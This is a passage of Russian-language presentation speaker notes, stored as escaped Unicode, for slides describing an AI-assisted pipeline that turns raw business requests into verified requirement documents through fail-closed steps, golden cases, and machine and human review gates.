\u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 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\u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 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\u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb 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\u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e 